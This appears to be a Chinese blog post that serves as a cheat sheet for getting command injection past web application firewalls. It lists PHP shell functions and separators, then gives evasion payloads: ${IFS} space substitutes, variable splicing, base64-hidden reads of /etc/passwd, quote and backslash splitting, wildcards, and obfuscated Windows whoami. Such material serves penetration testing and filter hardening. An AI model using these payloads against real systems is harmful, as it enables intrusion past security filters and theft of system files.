WAF绕过之命令执行

常见的命令执行函数:

system() #输出并返回最后一行shell结果。 exec() #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里。 passthru() #只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。 popen()、proc_open() #不会直接返回执行结果,而是返回一个文件指针 shell_exec() #通过shell执行命令并以字符串的形式返回完整的输出 反引号 #本质是使用shell_exec()函数

命令分隔符:

windows: && || & | linux: && || & | ; 分号;在shell中担任连续指令的功能

php环境中可以使用: %0a 换行符 %0d 回车符

截断符号:

$ ; | & - ( ) { } 反引号 || && %0a #有时可当空格使用

命令执行绕过

1、绕过空格 ${IFS} $IFS$9 #$9可改成$加其他数字 < <> #重定向符 {cat,flag.php} #用逗号,实现了空格功能 %20 %09

2、拼接

#在linux系统中 a=g;cat fla$a.php a=fl;b=ag.php;cat $a$b #在php的ping环境中 ip=;a=g;cat fla$a.php ip=;a=fl;b=ag.php;cat $a$b

3、编码

cat /etc/$(echo "cGFzc3dk"|base64 -d)

4、单引号、双引号绕过

cat te''st.txt cat te""st.txt c''at te''st.txt c""at te""st.txt

5、反斜杠绕过

cat te\st.txt c\at te\st.txt

6、通配符绕过

cat /etc/pass*

windows下同理:如当命令执行被拦截的时候需要进行绕过,如whoami被拦截可以尝试如下进行绕过 w"h"o"a"m"i "w"h"o"a"m"i" "w"h"o"a"m"i w"h"o"a"m"i" who^ami wh""o^a^mi wh""o^a^mi ((((Wh^o^am""i)))) (Wh^o^am""i) (Whoami)

或者 set a=who set b=ami %a%%b% //正常执行whoami call

%a%%b% //正常执行whoami

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值